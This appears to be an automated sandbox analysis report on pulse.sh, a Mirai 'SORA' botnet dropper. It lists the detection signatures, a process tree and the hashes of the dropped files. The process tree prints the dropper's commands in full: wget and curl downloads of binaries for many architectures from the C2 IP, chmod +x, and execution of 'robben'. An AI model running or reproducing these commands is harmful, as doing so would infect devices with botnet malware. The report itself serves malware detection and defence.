Analysis

  • max time kernel
    12s
  • max time network
    130s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20261019-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20261019-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    27/10/2026, 09:05

General

  • Target
    pulse.sh
  • Size 2KB
  • Sample261027-k2d3nasybx
  • SHA256 7ef887224a88a3ee38fd0ac9f4de6e53f959fadc42e0cdfb4fbb2bcacc362f60
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

Botnet
  • SORA

C2
  • 204.194.50.3

Extracted

Family
  • mirai

C2
  • 204.194.50.3

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai Renesas payload 1 IoCs
  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 14 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 37 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/pulse.sh
    /tmp/pulse.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:1563
    • /usr/bin/wget
      wget http://204.194.50.3/bins/sora.x86
      2⤵
      • Writes file to tmp directory
      PID:1564
    • /usr/bin/curl
      curl -O http://204.194.50.3/bins/sora.x86
      2⤵
      • Writes file to tmp directory
      PID:1573
    • /bin/cat
      cat sora.x86
      2⤵
        PID:1574
      • /bin/chmod
        chmod +x config-err-d2uHio netplan__yxxokex pulse.sh robben snap-private-tmp sora.x86 ssh-jEj9bZDyHtAy systemd-private-f6449b1eea014cbeb95b99dba983e445-bolt.service-ELE2kn systemd-private-f6449b1eea014cbeb95b99dba983e445-colord.service-s0jKmA systemd-private-f6449b1eea014cbeb95b99dba983e445-ModemManager.service-CvyXrp systemd-private-f6449b1eea014cbeb95b99dba983e445-systemd-resolved.service-aViFHw systemd-private-f6449b1eea014cbeb95b99dba983e445-systemd-timedated.service-oBx3nr
        2⤵
        • File and Directory Permissions Modification
        PID:1575
      • /tmp/robben
        ./robben pulse.exploit
        2⤵
          PID:1576
        • /usr/bin/wget
          wget http://204.194.50.3/bins/sora.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1578
        • /usr/bin/curl
          curl -O http://204.194.50.3/bins/sora.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1579
        • /bin/cat
          cat sora.mips
          2⤵
          • System Network Configuration Discovery
          PID:1580
        • /bin/chmod
          chmod +x config-err-d2uHio netplan__yxxokex pulse.sh robben snap-private-tmp sora.mips sora.x86 ssh-jEj9bZDyHtAy systemd-private-f6449b1eea014cbeb95b99dba983e445-bolt.service-ELE2kn systemd-private-f6449b1eea014cbeb95b99dba983e445-colord.service-s0jKmA systemd-private-f6449b1eea014cbeb95b99dba983e445-ModemManager.service-CvyXrp systemd-private-f6449b1eea014cbeb95b99dba983e445-systemd-resolved.service-aViFHw systemd-private-f6449b1eea014cbeb95b99dba983e445-systemd-timedated.service-oBx3nr
          2⤵
          • File and Directory Permissions Modification
          PID:1581
        • /tmp/robben
          ./robben pulse.exploit
          2⤵
            PID:1582
          • /usr/bin/wget
            wget http://204.194.50.3/bins/sora.x86_64
            2⤵
              PID:1584
            • /usr/bin/curl
              curl -O http://204.194.50.3/bins/sora.x86_64
              2⤵
              • Writes file to tmp directory
              PID:1585
            • /bin/cat
              cat sora.x86_64
              2⤵
                PID:1586
              • /bin/chmod
                chmod +x config-err-d2uHio netplan__yxxokex pulse.sh robben snap-private-tmp sora.mips sora.x86 sora.x86_64 ssh-jEj9bZDyHtAy systemd-private-f6449b1eea014cbeb95b99dba983e445-bolt.service-ELE2kn systemd-private-f6449b1eea014cbeb95b99dba983e445-colord.service-s0jKmA systemd-private-f6449b1eea014cbeb95b99dba983e445-ModemManager.service-CvyXrp systemd-private-f6449b1eea014cbeb95b99dba983e445-systemd-resolved.service-aViFHw systemd-private-f6449b1eea014cbeb95b99dba983e445-systemd-timedated.service-oBx3nr
                2⤵
                • File and Directory Permissions Modification
                PID:1587
              • /tmp/robben
                ./robben pulse.exploit
                2⤵
                  PID:1588
                • /usr/bin/wget
                  wget http://204.194.50.3/bins/sora.i468
                  2⤵
                    PID:1589
                  • /usr/bin/curl
                    curl -O http://204.194.50.3/bins/sora.i468
                    2⤵
                    • Writes file to tmp directory
                    PID:1590
                  • /bin/cat
                    cat sora.i468
                    2⤵
                      PID:1591
                    • /bin/chmod
                      chmod +x config-err-d2uHio netplan__yxxokex pulse.sh robben snap-private-tmp sora.i468 sora.mips sora.x86 sora.x86_64 ssh-jEj9bZDyHtAy systemd-private-f6449b1eea014cbeb95b99dba983e445-bolt.service-ELE2kn systemd-private-f6449b1eea014cbeb95b99dba983e445-colord.service-s0jKmA systemd-private-f6449b1eea014cbeb95b99dba983e445-ModemManager.service-CvyXrp systemd-private-f6449b1eea014cbeb95b99dba983e445-systemd-resolved.service-aViFHw systemd-private-f6449b1eea014cbeb95b99dba983e445-systemd-timedated.service-oBx3nr
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1592
                    • /tmp/robben
                      ./robben pulse.exploit
                      2⤵
                        PID:1593
                      • /usr/bin/wget
                        wget http://204.194.50.3/bins/sora.i686
                        2⤵
                          PID:1594
                        • /usr/bin/curl
                          curl -O http://204.194.50.3/bins/sora.i686
                          2⤵
                          • Writes file to tmp directory
                          PID:1595
                        • /bin/cat
                          cat sora.i686
                          2⤵
                            PID:1596
                          • /bin/chmod
                            chmod +x config-err-d2uHio netplan__yxxokex pulse.sh robben snap-private-tmp sora.i468 sora.i686 sora.mips sora.x86 sora.x86_64 ssh-jEj9bZDyHtAy systemd-private-f6449b1eea014cbeb95b99dba983e445-bolt.service-ELE2kn systemd-private-f6449b1eea014cbeb95b99dba983e445-colord.service-s0jKmA systemd-private-f6449b1eea014cbeb95b99dba983e445-ModemManager.service-CvyXrp systemd-private-f6449b1eea014cbeb95b99dba983e445-systemd-resolved.service-aViFHw systemd-private-f6449b1eea014cbeb95b99dba983e445-systemd-timedated.service-oBx3nr
                            2⤵
                            • File and Directory Permissions Modification
                            PID:1597
                          • /tmp/robben
                            ./robben pulse.exploit
                            2⤵
                              PID:1598
                            • /usr/bin/wget
                              wget http://204.194.50.3/bins/sora.mpsl
                              2⤵
                              • Writes file to tmp directory
                              PID:1599
                            • /usr/bin/curl
                              curl -O http://204.194.50.3/bins/sora.mpsl
                              2⤵
                              • Writes file to tmp directory
                              PID:1600
                            • /bin/cat
                              cat sora.mpsl
                              2⤵
                                PID:1601
                              • /bin/chmod
                                chmod +x config-err-d2uHio netplan__yxxokex pulse.sh robben snap-private-tmp sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-jEj9bZDyHtAy systemd-private-f6449b1eea014cbeb95b99dba983e445-bolt.service-ELE2kn systemd-private-f6449b1eea014cbeb95b99dba983e445-colord.service-s0jKmA systemd-private-f6449b1eea014cbeb95b99dba983e445-ModemManager.service-CvyXrp systemd-private-f6449b1eea014cbeb95b99dba983e445-systemd-resolved.service-aViFHw systemd-private-f6449b1eea014cbeb95b99dba983e445-systemd-timedated.service-oBx3nr
                                2⤵
                                • File and Directory Permissions Modification
                                PID:1602
                              • /tmp/robben
                                ./robben pulse.exploit
                                2⤵
                                  PID:1603
                                • /usr/bin/wget
                                  wget http://204.194.50.3/bins/sora.arm4
                                  2⤵
                                    PID:1605
                                  • /usr/bin/curl
                                    curl -O http://204.194.50.3/bins/sora.arm4
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:1606
                                  • /bin/cat
                                    cat sora.arm4
                                    2⤵
                                      PID:1607
                                    • /bin/chmod
                                      chmod +x config-err-d2uHio netplan__yxxokex pulse.sh robben snap-private-tmp sora.arm4 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-jEj9bZDyHtAy systemd-private-f6449b1eea014cbeb95b99dba983e445-bolt.service-ELE2kn systemd-private-f6449b1eea014cbeb95b99dba983e445-colord.service-s0jKmA systemd-private-f6449b1eea014cbeb95b99dba983e445-ModemManager.service-CvyXrp systemd-private-f6449b1eea014cbeb95b99dba983e445-systemd-resolved.service-aViFHw systemd-private-f6449b1eea014cbeb95b99dba983e445-systemd-timedated.service-oBx3nr
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:1608
                                    • /tmp/robben
                                      ./robben pulse.exploit
                                      2⤵
                                        PID:1609
                                      • /usr/bin/wget
                                        wget http://204.194.50.3/bins/sora.arm5
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:1610
                                      • /usr/bin/curl
                                        curl -O http://204.194.50.3/bins/sora.arm5
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:1611
                                      • /bin/cat
                                        cat sora.arm5
                                        2⤵
                                          PID:1612
                                        • /bin/chmod
                                          chmod +x config-err-d2uHio netplan__yxxokex pulse.sh robben snap-private-tmp sora.arm4 sora.arm5 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-jEj9bZDyHtAy systemd-private-f6449b1eea014cbeb95b99dba983e445-bolt.service-ELE2kn systemd-private-f6449b1eea014cbeb95b99dba983e445-colord.service-s0jKmA systemd-private-f6449b1eea014cbeb95b99dba983e445-ModemManager.service-CvyXrp systemd-private-f6449b1eea014cbeb95b99dba983e445-systemd-resolved.service-aViFHw systemd-private-f6449b1eea014cbeb95b99dba983e445-systemd-timedated.service-oBx3nr
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:1613
                                        • /tmp/robben
                                          ./robben pulse.exploit
                                          2⤵
                                            PID:1614
                                          • /usr/bin/wget
                                            wget http://204.194.50.3/bins/sora.arm6
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:1616
                                          • /usr/bin/curl
                                            curl -O http://204.194.50.3/bins/sora.arm6
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:1617
                                          • /bin/cat
                                            cat sora.arm6
                                            2⤵
                                              PID:1618
                                            • /bin/chmod
                                              chmod +x config-err-d2uHio netplan__yxxokex pulse.sh robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-jEj9bZDyHtAy systemd-private-f6449b1eea014cbeb95b99dba983e445-bolt.service-ELE2kn systemd-private-f6449b1eea014cbeb95b99dba983e445-colord.service-s0jKmA systemd-private-f6449b1eea014cbeb95b99dba983e445-ModemManager.service-CvyXrp systemd-private-f6449b1eea014cbeb95b99dba983e445-systemd-resolved.service-aViFHw systemd-private-f6449b1eea014cbeb95b99dba983e445-systemd-timedated.service-oBx3nr
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:1619
                                            • /tmp/robben
                                              ./robben pulse.exploit
                                              2⤵
                                                PID:1620
                                              • /usr/bin/wget
                                                wget http://204.194.50.3/bins/sora.arm7
                                                2⤵
                                                  PID:1622
                                                • /usr/bin/curl
                                                  curl -O http://204.194.50.3/bins/sora.arm7
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:1623
                                                • /bin/cat
                                                  cat sora.arm7
                                                  2⤵
                                                    PID:1624
                                                  • /bin/chmod
                                                    chmod +x config-err-d2uHio netplan__yxxokex pulse.sh robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-jEj9bZDyHtAy systemd-private-f6449b1eea014cbeb95b99dba983e445-bolt.service-ELE2kn systemd-private-f6449b1eea014cbeb95b99dba983e445-colord.service-s0jKmA systemd-private-f6449b1eea014cbeb95b99dba983e445-ModemManager.service-CvyXrp systemd-private-f6449b1eea014cbeb95b99dba983e445-systemd-resolved.service-aViFHw systemd-private-f6449b1eea014cbeb95b99dba983e445-systemd-timedated.service-oBx3nr
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:1625
                                                  • /tmp/robben
                                                    ./robben pulse.exploit
                                                    2⤵
                                                      PID:1626
                                                    • /usr/bin/wget
                                                      wget http://204.194.50.3/bins/sora.ppc
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:1627
                                                    • /usr/bin/curl
                                                      curl -O http://204.194.50.3/bins/sora.ppc
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:1628
                                                    • /bin/cat
                                                      cat sora.ppc
                                                      2⤵
                                                        PID:1629
                                                      • /bin/chmod
                                                        chmod +x config-err-d2uHio netplan__yxxokex pulse.sh robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.x86 sora.x86_64 ssh-jEj9bZDyHtAy systemd-private-f6449b1eea014cbeb95b99dba983e445-bolt.service-ELE2kn systemd-private-f6449b1eea014cbeb95b99dba983e445-colord.service-s0jKmA systemd-private-f6449b1eea014cbeb95b99dba983e445-ModemManager.service-CvyXrp systemd-private-f6449b1eea014cbeb95b99dba983e445-systemd-resolved.service-aViFHw systemd-private-f6449b1eea014cbeb95b99dba983e445-systemd-timedated.service-oBx3nr
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:1630
                                                      • /tmp/robben
                                                        ./robben pulse.exploit
                                                        2⤵
                                                          PID:1631
                                                        • /usr/bin/wget
                                                          wget http://204.194.50.3/bins/sora.ppc440fp
                                                          2⤵
                                                            PID:1633
                                                          • /usr/bin/curl
                                                            curl -O http://204.194.50.3/bins/sora.ppc440fp
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:1634
                                                          • /bin/cat
                                                            cat sora.ppc440fp
                                                            2⤵
                                                              PID:1635
                                                            • /bin/chmod
                                                              chmod +x config-err-d2uHio netplan__yxxokex pulse.sh robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64 ssh-jEj9bZDyHtAy systemd-private-f6449b1eea014cbeb95b99dba983e445-bolt.service-ELE2kn systemd-private-f6449b1eea014cbeb95b99dba983e445-colord.service-s0jKmA systemd-private-f6449b1eea014cbeb95b99dba983e445-ModemManager.service-CvyXrp systemd-private-f6449b1eea014cbeb95b99dba983e445-systemd-resolved.service-aViFHw systemd-private-f6449b1eea014cbeb95b99dba983e445-systemd-timedated.service-oBx3nr
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:1636
                                                            • /tmp/robben
                                                              ./robben pulse.exploit
                                                              2⤵
                                                                PID:1637
                                                              • /usr/bin/wget
                                                                wget http://204.194.50.3/bins/sora.m68k
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:1638
                                                              • /usr/bin/curl
                                                                curl -O http://204.194.50.3/bins/sora.m68k
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:1639
                                                              • /bin/cat
                                                                cat sora.m68k
                                                                2⤵
                                                                  PID:1640
                                                                • /bin/chmod
                                                                  chmod +x config-err-d2uHio netplan__yxxokex pulse.sh robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64 ssh-jEj9bZDyHtAy systemd-private-f6449b1eea014cbeb95b99dba983e445-bolt.service-ELE2kn systemd-private-f6449b1eea014cbeb95b99dba983e445-colord.service-s0jKmA systemd-private-f6449b1eea014cbeb95b99dba983e445-ModemManager.service-CvyXrp systemd-private-f6449b1eea014cbeb95b99dba983e445-systemd-resolved.service-aViFHw systemd-private-f6449b1eea014cbeb95b99dba983e445-systemd-timedated.service-oBx3nr
                                                                  2⤵
                                                                  • File and Directory Permissions Modification
                                                                  PID:1641
                                                                • /tmp/robben
                                                                  ./robben pulse.exploit
                                                                  2⤵
                                                                    PID:1642
                                                                  • /usr/bin/wget
                                                                    wget http://204.194.50.3/bins/sora.sh4
                                                                    2⤵
                                                                    • Writes file to tmp directory
                                                                    PID:1644
                                                                  • /usr/bin/curl
                                                                    curl -O http://204.194.50.3/bins/sora.sh4
                                                                    2⤵
                                                                    • Writes file to tmp directory
                                                                    PID:1645
                                                                  • /bin/cat
                                                                    cat sora.sh4
                                                                    2⤵
                                                                      PID:1646
                                                                    • /bin/chmod
                                                                      chmod +x config-err-d2uHio netplan__yxxokex pulse.sh robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.sh4 sora.x86 sora.x86_64 ssh-jEj9bZDyHtAy systemd-private-f6449b1eea014cbeb95b99dba983e445-bolt.service-ELE2kn systemd-private-f6449b1eea014cbeb95b99dba983e445-colord.service-s0jKmA systemd-private-f6449b1eea014cbeb95b99dba983e445-ModemManager.service-CvyXrp systemd-private-f6449b1eea014cbeb95b99dba983e445-systemd-resolved.service-aViFHw systemd-private-f6449b1eea014cbeb95b99dba983e445-systemd-timedated.service-oBx3nr
                                                                      2⤵
                                                                      • File and Directory Permissions Modification
                                                                      PID:1647
                                                                    • /tmp/robben
                                                                      ./robben pulse.exploit
                                                                      2⤵
                                                                        PID:1648

                                                                    Network

                                                                          MITRE ATT&CK Enterprise v16

                                                                          Replay Monitor

                                                                          Loading Replay Monitor...

                                                                          Downloads

                                                                          robben

                                                                          • Path /tmp/robben
                                                                          • Size 28KB
                                                                          • SHA256 02d1745fc1932ca560190c8f9850320f6374255df0e7f91bdcd8cea323567ca4
                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                          robben

                                                                          • Path /tmp/robben
                                                                          • Size 214B
                                                                          • SHA256 db2dfc1e627fb90bd986951fff590c1f4d0df26fca0ad2af94ccfdec2ab6aa25
                                                                          • MD5 SHA1 SHA512 TLSH

                                                                          robben

                                                                          • Path /tmp/robben
                                                                          • Size 212B
                                                                          • SHA256 3ffdc3e7f17876fa23ee6595712e544975dc985d313fe07fd103e6cd3606b435
                                                                          • MD5 SHA1 SHA512 TLSH

                                                                          robben

                                                                          • Path /tmp/robben
                                                                          • Size 64KB
                                                                          • SHA256 b25cd22b59b8516fdfdd54c7f0dc2356ce883aea4e87f659f2ca66d214726fa4
                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                          sora.x86

                                                                          • Path /tmp/sora.x86
                                                                          • Size 27KB
                                                                          • SHA256 d416e786af64b877744b04d16f6134503993c9f1bb43427c4790fae615833e0c
                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH